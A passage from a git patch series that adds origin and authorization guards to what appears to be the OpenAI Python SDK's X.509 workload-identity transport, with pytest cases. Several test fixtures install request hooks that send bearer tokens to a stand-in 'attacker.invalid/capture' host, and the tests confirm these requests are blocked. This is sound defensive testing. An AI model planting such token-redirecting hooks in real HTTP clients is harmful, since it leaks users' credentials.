legacy_httpx = _loaded_legacy_httpx() + if legacy_httpx is not None: + client_types += (legacy_httpx.AsyncClient if is_async else legacy_httpx.Client,) + pending = [http_client] + visited: set[int] = set() + with ExitStack() as scopes: + while pending: + current = pending.pop() + if id(current) in visited: + continue + visited.add(id(current)) + scopes.enter_context( + _client_transport_scope(current, is_async=is_async).activate( + request, expected_origin, expected_authorization + ) + ) + values = list(vars(current).values()) + for owner in type(current).__mro__: + slots = owner.__dict__.get("__slots__", ()) + if isinstance(slots, str): + slots = (slots,) + for slot in slots: + if slot in ("__dict__", "__weakref__"): + continue + if slot.startswith("__") and not slot.endswith("__"): + slot = f"_{owner.__name__.lstrip('_')}{slot}" + values.append(getattr(current, slot, None)) + + inspected: set[int] = set() + while values: + value = values.pop() + if id(value) in inspected: + continue + inspected.add(id(value)) + if isinstance(value, client_types): + pending.append(value) + elif isinstance(value, dict): + values.extend(cast(dict[object, object], value).values()) + elif isinstance(value, (list, tuple, set, frozenset)): + values.extend(cast(list[object] | tuple[object, ...] | set[object] | frozenset[object], value)) + yield + + def _scoped_sync_client( http_client: httpx2.Client, *, @@ -819,8 +944,8 @@ def send_api_request( ) -> httpx2.Response: if self._http_client.is_closed: raise RuntimeError("Cannot send a request, as the client has been closed.") - with _client_transport_scope(self._http_client, is_async=False).activate( - request, expected_origin, expected_authorization + with _active_client_transport_scopes( + self._http_client, request, expected_origin, expected_authorization, is_async=False ): kwargs.setdefault("auth", None) return self._http_client.send(request, stream=stream, **kwargs) @@ -890,8 +1015,8 @@ async def send_api_request( ) -> httpx2.Response: if self._http_client.is_closed: raise RuntimeError("Cannot send a request, as the client has been closed.") - with _client_transport_scope(self._http_client, is_async=True).activate( - request, expected_origin, expected_authorization + with _active_client_transport_scopes( + self._http_client, request, expected_origin, expected_authorization, is_async=True ): kwargs.setdefault("auth", None) return await self._http_client.send(request, stream=stream, **kwargs) diff --git a/tests/test_x509_workload_identity_transport.py b/tests/test_x509_workload_identity_transport.py index 0c3bd1b090..b1b03fc4ea 100644 --- a/tests/test_x509_workload_identity_transport.py +++ b/tests/test_x509_workload_identity_transport.py @@ -1,6 +1,9 @@ from __future__ import annotations +import os +import json import asyncio +import importlib import threading from typing import Any, cast from contextvars import Context @@ -258,6 +261,216 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert [str(request.url) for request in requests] == expected +@pytest.mark.parametrize("redirect", [False, True]) +@pytest.mark.parametrize("delegate_storage", ["attribute", "slot", "private_slot", "list", "dict"]) +@pytest.mark.parametrize("reconstruct", [False, True]) +def test_sync_x509_validates_requests_delegated_to_another_http_client( + redirect: bool, delegate_storage: str, reconstruct: bool +) -> None: + requests: list[httpx2.Request] = [] + + def redirect_request(request: httpx2.Request) -> None: + if redirect: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + class PrivateSlotClient(httpx2.Client): + __slots__ = ("__private_inner",) + + def set_private_inner(self, inner: httpx2.Client) -> None: + self.__private_inner = inner + + def private_inner(self) -> httpx2.Client: + return self.__private_inner + + class DelegatingClient(PrivateSlotClient): + __slots__ = ("slotted_inner",) + + def __init__(self) -> None: + inner = httpx2.Client( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), + event_hooks={"request": [redirect_request]}, + ) + if delegate_storage == "slot": + self.slotted_inner = inner + elif delegate_storage == "private_slot": + self.set_private_inner(inner) + elif delegate_storage == "list": + self.clients = [inner] + elif delegate_storage == "dict": + self.client_mapping = {"inner": inner} + else: + self.inner = inner + super().__init__(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if delegate_storage == "slot": + inner = self.slotted_inner + elif delegate_storage == "private_slot": + inner = self.private_inner() + elif delegate_storage == "list": + inner = self.clients[0] + elif delegate_storage == "dict": + inner = self.client_mapping["inner"] + else: + inner = self.inner + if reconstruct: + reconstructed = inner.build_request(request.method, request.url) + reconstructed.headers.update(request.headers) + request = reconstructed + return inner.send(request, **kwargs) + + http_client = DelegatingClient() + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + if redirect: + with pytest.raises(OpenAIError, match="configured API origin"): + client.models.list() + else: + assert client.models.list().object == "list" + + expected = [_TOKEN_URL] if redirect else [_TOKEN_URL, _API_URL] + assert [str(request.url) for request in requests] == expected + + +@pytest.mark.parametrize("redirect", [False, True]) +@pytest.mark.parametrize("delegate_storage", ["attribute", "slot", "private_slot", "list", "dict"]) +@pytest.mark.parametrize("reconstruct", [False, True]) +async def test_async_x509_validates_requests_delegated_to_another_http_client( + redirect: bool, delegate_storage: str, reconstruct: bool +) -> None: + requests: list[httpx2.Request] = [] + + async def redirect_request(request: httpx2.Request) -> None: + if redirect: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + class PrivateSlotClient(httpx2.AsyncClient): + __slots__ = ("__private_inner",) + + def set_private_inner(self, inner: httpx2.AsyncClient) -> None: + self.__private_inner = inner + + def private_inner(self) -> httpx2.AsyncClient: + return self.__private_inner + + class DelegatingClient(PrivateSlotClient): + __slots__ = ("slotted_inner",) + + def __init__(self) -> None: + inner = httpx2.AsyncClient( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), + event_hooks={"request": [redirect_request]}, + ) + if delegate_storage == "slot": + self.slotted_inner = inner + elif delegate_storage == "private_slot": + self.set_private_inner(inner) + elif delegate_storage == "list": + self.clients = [inner] + elif delegate_storage == "dict": + self.client_mapping = {"inner": inner} + else: + self.inner = inner + super().__init__(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if delegate_storage == "slot": + inner = self.slotted_inner + elif delegate_storage == "private_slot": + inner = self.private_inner() + elif delegate_storage == "list": + inner = self.clients[0] + elif delegate_storage == "dict": + inner = self.client_mapping["inner"] + else: + inner = self.inner + if reconstruct: + reconstructed = inner.build_request(request.method, request.url) + reconstructed.headers.update(request.headers) + request = reconstructed + return await inner.send(request, **kwargs) + + http_client = DelegatingClient() + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + if redirect: + with pytest.raises(OpenAIError, match="configured API origin"): + await client.models.list() + else: + assert (await client.models.list()).object == "list" + + expected = [_TOKEN_URL] if redirect else [_TOKEN_URL, _API_URL] + assert [str(request.url) for request in requests] == expected + + +@pytest.mark.skipif(os.getenv("OPENAI_TEST_LEGACY_HTTPX") != "1", reason="requires legacy HTTPX compatibility lane") +def test_sync_x509_validates_requests_delegated_to_legacy_httpx_clients() -> None: + legacy_httpx = cast(Any, importlib.import_module("httpx")) + requests: list[Any] = [] + + def handler(request: Any) -> Any: + requests.append(request) + if str(request.url) == _TOKEN_URL: + return legacy_httpx.Response( + 200, request=request, json={"access_token": "access-token", "expires_in": 3600} + ) + return legacy_httpx.Response(200, request=request, json={"object": "list", "data": []}) + + def redirect(request: Any) -> None: + request.url = legacy_httpx.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + outer = legacy_httpx.Client(transport=legacy_httpx.MockTransport(handler)) + outer.inner = legacy_httpx.Client( + transport=legacy_httpx.MockTransport(handler), event_hooks={"request": [redirect]} + ) + + def delegate(request: Any, **kwargs: Any) -> Any: + return outer.inner.send(request, **kwargs) + + outer.send = delegate + with OpenAI(workload_identity=_identity(), http_client=outer, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin"): + client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.skipif(os.getenv("OPENAI_TEST_LEGACY_HTTPX") != "1", reason="requires legacy HTTPX compatibility lane") +async def test_async_x509_validates_requests_delegated_to_legacy_httpx_clients() -> None: + legacy_httpx = cast(Any, importlib.import_module("httpx")) + requests: list[Any] = [] + + def handler(request: Any) -> Any: + requests.append(request) + if str(request.url) == _TOKEN_URL: + return legacy_httpx.Response( + 200, request=request, json={"access_token": "access-token", "expires_in": 3600} + ) + return legacy_httpx.Response(200, request=request, json={"object": "list", "data": []}) + + async def redirect(request: Any) -> None: + request.url = legacy_httpx.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + outer = legacy_httpx.AsyncClient(transport=legacy_httpx.MockTransport(handler)) + outer.inner = legacy_httpx.AsyncClient( + transport=legacy_httpx.MockTransport(handler), event_hooks={"request": [redirect]} + ) + + async def delegate(request: Any, **kwargs: Any) -> Any: + return await outer.inner.send(request, **kwargs) + + outer.send = delegate + async with AsyncOpenAI(workload_identity=_identity(), http_client=outer, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin"): + await client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + @pytest.mark.parametrize("reconstruct", [False, True]) def test_sync_x509_validates_requests_dispatched_by_custom_clients_in_another_thread(reconstruct: bool) -> None: requests: list[httpx2.Request] = [] @@ -678,7 +891,26 @@ async def test_async_x509_preserves_mounted_transports_and_restores_caller_confi assert [str(request.url) for request in api_requests] == [_API_URL] -@pytest.mark.parametrize("nested_mode", ["x509", "api_key", "matching_api_key"]) +@pytest.mark.parametrize( + "nested_mode", + [ + "x509", + "api_key", + "matching_api_key", + "direct", + "direct_authorized", + "direct_propagated", + "direct_authorized_propagated", + "direct_reconstructed", + "direct_authorized_reconstructed", + "direct_propagated_reconstructed", + "direct_authorized_propagated_reconstructed", + "direct_hook_authorized_reconstructed", + "direct_hook_authorized_propagated_reconstructed", + "direct_hook_redirected_reconstructed", + "direct_hook_redirected_authorized_reconstructed", + ], +) def test_sync_x509_allows_nested_requests_using_the_same_http_client(nested_mode: str) -> None: requests: list[httpx2.Request] = [] @@ -686,20 +918,49 @@ class NestedClient(httpx2.Client): def __init__(self) -> None: self.nested: OpenAI | None = None self.nested_completed = False - super().__init__(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + def authorize_telemetry(request: httpx2.Request) -> None: + if request.url.host == "telemetry.example": + if "hook_authorized" in nested_mode: + request.headers["Authorization"] = "Bearer telemetry-token" + if "hook_redirected" in nested_mode: + request.url = httpx2.URL("https://collector.example/v1/models") + request.headers["host"] = "collector.example" + + super().__init__( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), + event_hooks={"request": [authorize_telemetry]}, + ) @override def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if not self.nested_completed and self.nested is not None: + if not self.nested_completed and (self.nested is not None or nested_mode.startswith("direct")): self.nested_completed = True - assert self.nested.models.list().object == "list" + if nested_mode.startswith("direct"): + headers = ( + { + name: value + for name, value in request.headers.items() + if name.lower() not in ("authorization", "host") + } + if "propagated" in nested_mode + else {} + ) + if "authorized" in nested_mode and "hook_authorized" not in nested_mode: + headers["Authorization"] = "Bearer telemetry-token" + assert self.get("https://telemetry.example/v1/models", headers=headers).json()["object"] == "list" + else: + assert self.nested is not None + assert self.nested.models.list().object == "list" + if request.url.host == "telemetry.example" and "reconstructed" in nested_mode: + request = httpx2.Request(request.method, request.url, headers=dict(request.headers)) return super().send(request, **kwargs) http_client = NestedClient() if nested_mode == "x509": nested_identity = x509_workload_identity(identity_provider_id="nested-idp", service_account_id="nested-svc") http_client.nested = OpenAI(workload_identity=nested_identity, http_client=http_client, max_retries=0) - else: + elif not nested_mode.startswith("direct"): api_key = "access-token" if nested_mode == "matching_api_key" else "nested-api-key" http_client.nested = OpenAI( api_key=api_key, base_url="https://nested.example/v1", http_client=http_client, max_retries=0 @@ -711,7 +972,26 @@ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert http_client.nested_completed -@pytest.mark.parametrize("nested_mode", ["x509", "api_key", "matching_api_key"]) +@pytest.mark.parametrize( + "nested_mode", + [ + "x509", + "api_key", + "matching_api_key", + "direct", + "direct_authorized", + "direct_propagated", + "direct_authorized_propagated", + "direct_reconstructed", + "direct_authorized_reconstructed", + "direct_propagated_reconstructed", + "direct_authorized_propagated_reconstructed", + "direct_hook_authorized_reconstructed", + "direct_hook_authorized_propagated_reconstructed", + "direct_hook_redirected_reconstructed", + "direct_hook_redirected_authorized_reconstructed", + ], +) async def test_async_x509_allows_nested_requests_using_the_same_http_client(nested_mode: str) -> None: requests: list[httpx2.Request] = [] @@ -719,20 +999,50 @@ class NestedClient(httpx2.AsyncClient): def __init__(self) -> None: self.nested: AsyncOpenAI | None = None self.nested_completed = False - super().__init__(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + async def authorize_telemetry(request: httpx2.Request) -> None: + if request.url.host == "telemetry.example": + if "hook_authorized" in nested_mode: + request.headers["Authorization"] = "Bearer telemetry-token" + if "hook_redirected" in nested_mode: + request.url = httpx2.URL("https://collector.example/v1/models") + request.headers["host"] = "collector.example" + + super().__init__( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), + event_hooks={"request": [authorize_telemetry]}, + ) @override async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if not self.nested_completed and self.nested is not None: + if not self.nested_completed and (self.nested is not None or nested_mode.startswith("direct")): self.nested_completed = True - assert (await self.nested.models.list()).object == "list" + if nested_mode.startswith("direct"): + headers = ( + { + name: value + for name, value in request.headers.items() + if name.lower() not in ("authorization", "host") + } + if "propagated" in nested_mode + else {} + ) + if "authorized" in nested_mode and "hook_authorized" not in nested_mode: + headers["Authorization"] = "Bearer telemetry-token" + response = await self.get("https://telemetry.example/v1/models", headers=headers) + assert response.json()["object"] == "list" + else: + assert self.nested is not None + assert (await self.nested.models.list()).object == "list" + if request.url.host == "telemetry.example" and "reconstructed" in nested_mode: + request = httpx2.Request(request.method, request.url, headers=dict(request.headers)) return await super().send(request, **kwargs) http_client = NestedClient() if nested_mode == "x509": nested_identity = x509_workload_identity(identity_provider_id="nested-idp", service_account_id="nested-svc") http_client.nested = AsyncOpenAI(workload_identity=nested_identity, http_client=http_client, max_retries=0) - else: + elif not nested_mode.startswith("direct"): api_key = "access-token" if nested_mode == "matching_api_key" else "nested-api-key" http_client.nested = AsyncOpenAI( api_key=api_key, base_url="https://nested.example/v1", http_client=http_client, max_retries=0 @@ -744,6 +1054,178 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert http_client.nested_completed +def test_sync_x509_rejects_auxiliary_hooks_that_add_the_active_access_token() -> None: + requests: list[httpx2.Request] = [] + + def inject_token(request: httpx2.Request) -> None: + if request.url.host == "telemetry.example": + request.headers["Authorization"] = "Bearer access-token" + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + class NestedClient(httpx2.Client): + def __init__(self) -> None: + self.sent_auxiliary = False + super().__init__( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), + event_hooks={"request": [inject_token]}, + ) + + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if not self.sent_auxiliary: + self.sent_auxiliary = True + self.get("https://telemetry.example/v1/models") + return super().send(request, **kwargs) + + http_client = NestedClient() + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin|authorization"): + client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +async def test_async_x509_rejects_auxiliary_hooks_that_add_the_active_access_token() -> None: + requests: list[httpx2.Request] = [] + + async def inject_token(request: httpx2.Request) -> None: + if request.url.host == "telemetry.example": + request.headers["Authorization"] = "Bearer access-token" + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + class NestedClient(httpx2.AsyncClient): + def __init__(self) -> None: + self.sent_auxiliary = False + super().__init__( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), + event_hooks={"request": [inject_token]}, + ) + + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if not self.sent_auxiliary: + self.sent_auxiliary = True + await self.get("https://telemetry.example/v1/models") + return await super().send(request, **kwargs) + + http_client = NestedClient() + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin|authorization"): + await client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +def test_sync_x509_rejects_auxiliary_requests_with_another_active_identity_token() -> None: + requests: list[httpx2.Request] = [] + both_active = threading.Barrier(2) + release_second = threading.Event() + + def handler(request: httpx2.Request) -> httpx2.Response: + requests.append(request) + if str(request.url) == _TOKEN_URL: + identity = json.loads(request.content)["identity_provider_id"] + token = f"token-{identity.rsplit('-', 1)[-1]}" + return httpx2.Response(200, request=request, json={"access_token": token, "expires_in": 3600}) + return httpx2.Response(200, request=request, json={"object": "list", "data": []}) + + def redirect_telemetry(request: httpx2.Request) -> None: + if request.url.host == "telemetry.example": + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + class ConcurrentClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + both_active.wait(timeout=5) + if request.headers.get("Authorization") == "Bearer token-one": + try: + self.get("https://telemetry.example/v1/models", headers={"Authorization": "Bearer token-two"}) + finally: + release_second.set() + else: + assert release_second.wait(timeout=5) + return super().send(request, **kwargs) + + transport = ConcurrentClient(transport=httpx2.MockTransport(handler), event_hooks={"request": [redirect_telemetry]}) + clients = [ + OpenAI( + workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), + http_client=transport, + max_retries=0, + ) + for suffix in ("one", "two") + ] + + with ThreadPoolExecutor(max_workers=2) as executor: + results = [executor.submit(client.models.list) for client in clients] + with pytest.raises(OpenAIError, match="configured API origin|authorization"): + results[0].result(timeout=5) + assert results[1].result(timeout=5).object == "list" + + assert all(request.url.host != "attacker.invalid" for request in requests) + + +async def test_async_x509_rejects_auxiliary_requests_with_another_active_identity_token() -> None: + requests: list[httpx2.Request] = [] + active_count = 0 + both_active = asyncio.Event() + release_second = asyncio.Event() + + def handler(request: httpx2.Request) -> httpx2.Response: + requests.append(request) + if str(request.url) == _TOKEN_URL: + identity = json.loads(request.content)["identity_provider_id"] + token = f"token-{identity.rsplit('-', 1)[-1]}" + return httpx2.Response(200, request=request, json={"access_token": token, "expires_in": 3600}) + return httpx2.Response(200, request=request, json={"object": "list", "data": []}) + + async def redirect_telemetry(request: httpx2.Request) -> None: + if request.url.host == "telemetry.example": + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + class ConcurrentClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + nonlocal active_count + if request.url.host == "mtls.api.openai.com": + active_count += 1 + if active_count == 2: + both_active.set() + await asyncio.wait_for(both_active.wait(), timeout=5) + if request.headers.get("Authorization") == "Bearer token-one": + try: + await self.get( + "https://telemetry.example/v1/models", headers={"Authorization": "Bearer token-two"} + ) + finally: + release_second.set() + else: + await asyncio.wait_for(release_second.wait(), timeout=5) + return await super().send(request, **kwargs) + + transport = ConcurrentClient(transport=httpx2.MockTransport(handler), event_hooks={"request": [redirect_telemetry]}) + clients = [ + AsyncOpenAI( + workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), + http_client=transport, + max_retries=0, + ) + for suffix in ("one", "two") + ] + + first, second = await asyncio.gather(*(client.models.list() for client in clients), return_exceptions=True) + assert isinstance(first, OpenAIError) + assert "configured API origin" in str(first) or "authorization" in str(first) + assert not isinstance(second, BaseException) + assert second.object == "list" + assert all(request.url.host != "attacker.invalid" for request in requests) + + @pytest.mark.parametrize( ("ordinary_origin", "ordinary_api_key"), [("https://nested.example/v1", "nested-api-key"), ("https://attacker.invalid/v1", "access-token")], From 01bc70981020bd96d255df24e25b8327fb3756e0 Mon Sep 17 00:00:00 2001 From: Justin Beckwith Date: Thu, 27 Aug 2026 10:17:14 -0700 Subject: [PATCH 05/13] fix(auth): guard lazily delegated X.509 HTTP requests --- src/openai/auth/_x509.py | 168 +++++++++++ .../test_x509_workload_identity_transport.py | 260 +++++++++++++++++- 2 files changed, 418 insertions(+), 10 deletions(-) diff --git a/src/openai/auth/_x509.py b/src/openai/auth/_x509.py index cfa197a2c9..a52333023f 100644 --- a/src/openai/auth/_x509.py +++ b/src/openai/auth/_x509.py @@ -3,10 +3,12 @@ import re import math import time +import importlib import threading import email.utils from typing import Any, Iterator, NoReturn, cast from weakref import ReferenceType, ref +from functools import wraps from contextlib import ExitStack, contextmanager from contextvars import ContextVar from typing_extensions import TypeIs, override @@ -568,6 +570,171 @@ def release(reference: ReferenceType[Any]) -> None: return scope +_CLIENT_SEND_GUARD_LOCK = threading.RLock() +_CLIENT_SEND_GUARD_STATE = {"users": 0} +_ORIGINAL_CLIENT_DISPATCH_METHODS: dict[type[Any], tuple[Any, Any, Any, Any]] = {} + + +def _active_request_transport_scope(request: httpx2.Request) -> tuple[httpx2.Request, httpx2.URL, str | None] | None: + request_scope = _request_transport_scope(request) + if _is_unprotected_transport_request(request): + return None + + authorization = request.headers.get("Authorization") + if request_scope is not None: + marker = request.extensions.get(_API_TRANSPORT_SCOPE_EXTENSION) + with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: + marked_scope = type(marker) is object and marker in _ACTIVE_API_TRANSPORT_SCOPES + protected_authorization = request_scope[2] + if ( + request is request_scope[0] + or marked_scope + or ( + authorization is not None + and protected_authorization is not None + and ( + authorization == protected_authorization + or ( + protected_authorization.startswith("Bearer ") + and protected_authorization[len("Bearer ") :] in authorization + ) + ) + ) + ): + return request_scope + + if authorization is None: + return None + with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: + matching_scopes = [ + scope + for scope in _ACTIVE_API_TRANSPORT_SCOPES.values() + if scope[2] is not None + and ( + authorization == scope[2] + or (scope[2].startswith("Bearer ") and scope[2][len("Bearer ") :] in authorization) + ) + ] + if not matching_scopes: + return None + if len({(scope[1].host, scope[1].port) for scope in matching_scopes}) > 1: + raise OpenAIError("X.509 workload identity request cannot be associated with a single API origin") + same_origin = [ + scope for scope in matching_scopes if (request.url.host, request.url.port) == (scope[1].host, scope[1].port) + ] + return (same_origin if same_origin else matching_scopes)[0] + + +def _validate_guarded_client_dispatch(request: httpx2.Request) -> None: + request_scope = _active_request_transport_scope(request) + if request_scope is not None: + _validate_transport_request( + request, + expected_origin=request_scope[1], + expected_authorization=request_scope[2], + token_exchange=False, + ) + + +@contextmanager +def _guarded_client_redirects(http_client: Any, request: httpx2.Request, *, is_async: bool) -> Iterator[None]: + request_scope = _active_request_transport_scope(request) + if request_scope is None: + yield + return + + client_scope = _client_transport_scope(http_client, is_async=is_async) + marker = request.extensions.get(_API_TRANSPORT_SCOPE_EXTENSION) + with client_scope._lock: + already_scoped = type(marker) is object and marker in client_scope._request_scopes + if already_scoped: + yield + return + + with client_scope.activate(request, request_scope[1], request_scope[2]): + yield + + +def _guard_client_dispatch_method(client_type: type[Any], *, is_async: bool) -> None: + original_dispatch = client_type._send_single_request + original_redirects = client_type._send_handling_redirects + if is_async: + + @wraps(original_dispatch) + async def guarded_async_dispatch(client: Any, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: + _validate_guarded_client_dispatch(request) + return await original_dispatch(client, request, *args, **kwargs) + + guarded_dispatch: Any = guarded_async_dispatch + + @wraps(original_redirects) + async def guarded_async_redirects(client: Any, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: + with _guarded_client_redirects(client, request, is_async=True): + return await original_redirects(client, request, *args, **kwargs) + + guarded_redirects: Any = guarded_async_redirects + else: + + @wraps(original_dispatch) + def guarded_sync_dispatch(client: Any, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: + _validate_guarded_client_dispatch(request) + return original_dispatch(client, request, *args, **kwargs) + + guarded_dispatch = guarded_sync_dispatch + + @wraps(original_redirects) + def guarded_sync_redirects(client: Any, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: + with _guarded_client_redirects(client, request, is_async=False): + return original_redirects(client, request, *args, **kwargs) + + guarded_redirects = guarded_sync_redirects + + _ORIGINAL_CLIENT_DISPATCH_METHODS[client_type] = ( + original_dispatch, + guarded_dispatch, + original_redirects, + guarded_redirects, + ) + client_type._send_single_request = guarded_dispatch + client_type._send_handling_redirects = guarded_redirects + + +@contextmanager +def _active_client_send_guards() -> Iterator[None]: + with _CLIENT_SEND_GUARD_LOCK: + if _CLIENT_SEND_GUARD_STATE["users"] == 0: + client_types: list[tuple[type[Any], bool]] = [(httpx2.Client, False), (httpx2.AsyncClient, True)] + legacy_httpx = _loaded_legacy_httpx() + if legacy_httpx is None: + try: + importlib.import_module("httpx") + except ModuleNotFoundError as error: + if error.name != "httpx": + raise + else: + legacy_httpx = _loaded_legacy_httpx() + if legacy_httpx is not None: + client_types.extend([(legacy_httpx.Client, False), (legacy_httpx.AsyncClient, True)]) + for client_type, is_async in client_types: + if client_type not in _ORIGINAL_CLIENT_DISPATCH_METHODS: + _guard_client_dispatch_method(client_type, is_async=is_async) + _CLIENT_SEND_GUARD_STATE["users"] += 1 + + try: + yield + finally: + with _CLIENT_SEND_GUARD_LOCK: + _CLIENT_SEND_GUARD_STATE["users"] -= 1 + if _CLIENT_SEND_GUARD_STATE["users"] == 0: + for client_type, methods in _ORIGINAL_CLIENT_DISPATCH_METHODS.items(): + original_dispatch, guarded_dispatch, original_redirects, guarded_redirects = methods + if client_type._send_single_request is guarded_dispatch: + client_type._send_single_request = original_dispatch + if client_type._send_handling_redirects is guarded_redirects: + client_type._send_handling_redirects = original_redirects + _ORIGINAL_CLIENT_DISPATCH_METHODS.clear() + + @contextmanager def _active_client_transport_scopes( http_client: httpx2.Client | httpx2.AsyncClient, @@ -584,6 +751,7 @@ def _active_client_transport_scopes( pending = [http_client] visited: set[int] = set() with ExitStack() as scopes: + scopes.enter_context(_active_client_send_guards()) while pending: current = pending.pop() if id(current) in visited: diff --git a/tests/test_x509_workload_identity_transport.py b/tests/test_x509_workload_identity_transport.py index b1b03fc4ea..225ee0a738 100644 --- a/tests/test_x509_workload_identity_transport.py +++ b/tests/test_x509_workload_identity_transport.py @@ -1,11 +1,14 @@ from __future__ import annotations import os +import sys import json import asyncio import importlib import threading +import subprocess from typing import Any, cast +from textwrap import dedent from contextvars import Context from typing_extensions import override from concurrent.futures import ThreadPoolExecutor @@ -405,8 +408,151 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert [str(request.url) for request in requests] == expected +@pytest.mark.parametrize("redirect", [False, True]) +@pytest.mark.parametrize("delegate_source", ["factory", "lazy", "bound", "dispatch"]) +@pytest.mark.parametrize("reconstruct", [False, True]) +def test_sync_x509_validates_lazily_delegated_http_client_requests( + redirect: bool, delegate_source: str, reconstruct: bool +) -> None: + requests: list[httpx2.Request] = [] + + def redirect_request(request: httpx2.Request) -> None: + if redirect: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + def make_delegate() -> httpx2.Client: + return httpx2.Client( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), + event_hooks={"request": [redirect_request]}, + ) + + factory_delegate = make_delegate() if delegate_source in ("factory", "bound", "dispatch") else None + bound_send = factory_delegate.send if delegate_source == "bound" and factory_delegate is not None else None + if delegate_source == "dispatch" and factory_delegate is not None: + vars(factory_delegate)["_send_single_request"] = factory_delegate._send_single_request + + class DelegatingClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + inner = factory_delegate if factory_delegate is not None else make_delegate() + if reconstruct: + reconstructed = inner.build_request(request.method, request.url) + reconstructed.headers.update(request.headers) + request = reconstructed + return bound_send(request, **kwargs) if bound_send is not None else inner.send(request, **kwargs) + + original_send = httpx2.Client.send + original_dispatch = httpx2.Client._send_single_request + http_client = DelegatingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + if redirect: + with pytest.raises(OpenAIError, match="configured API origin"): + client.models.list() + else: + assert client.models.list().object == "list" + + expected = [_TOKEN_URL] if redirect else [_TOKEN_URL, _API_URL] + assert [str(request.url) for request in requests] == expected + assert httpx2.Client.send is original_send + assert httpx2.Client._send_single_request is original_dispatch + if factory_delegate is not None: + assert factory_delegate.event_hooks["request"] == [redirect_request] + + +@pytest.mark.parametrize("redirect", [False, True]) +@pytest.mark.parametrize("delegate_source", ["factory", "lazy", "bound", "dispatch"]) +@pytest.mark.parametrize("reconstruct", [False, True]) +async def test_async_x509_validates_lazily_delegated_http_client_requests( + redirect: bool, delegate_source: str, reconstruct: bool +) -> None: + requests: list[httpx2.Request] = [] + + async def redirect_request(request: httpx2.Request) -> None: + if redirect: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + def make_delegate() -> httpx2.AsyncClient: + return httpx2.AsyncClient( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), + event_hooks={"request": [redirect_request]}, + ) + + factory_delegate = make_delegate() if delegate_source in ("factory", "bound", "dispatch") else None + bound_send = factory_delegate.send if delegate_source == "bound" and factory_delegate is not None else None + if delegate_source == "dispatch" and factory_delegate is not None: + vars(factory_delegate)["_send_single_request"] = factory_delegate._send_single_request + + class DelegatingClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + inner = factory_delegate if factory_delegate is not None else make_delegate() + if reconstruct: + reconstructed = inner.build_request(request.method, request.url) + reconstructed.headers.update(request.headers) + request = reconstructed + return await (bound_send(request, **kwargs) if bound_send is not None else inner.send(request, **kwargs)) + + original_send = httpx2.AsyncClient.send + original_dispatch = httpx2.AsyncClient._send_single_request + http_client = DelegatingClient(transport=httpx2.MockTransport(lambda request: 